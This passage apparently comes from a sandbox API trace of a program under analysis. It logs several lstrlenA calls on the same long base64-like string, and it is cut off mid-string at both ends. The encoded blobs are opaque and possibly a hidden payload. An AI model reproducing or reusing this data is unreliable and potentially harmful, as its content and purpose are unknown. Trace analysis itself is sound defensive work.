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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6Od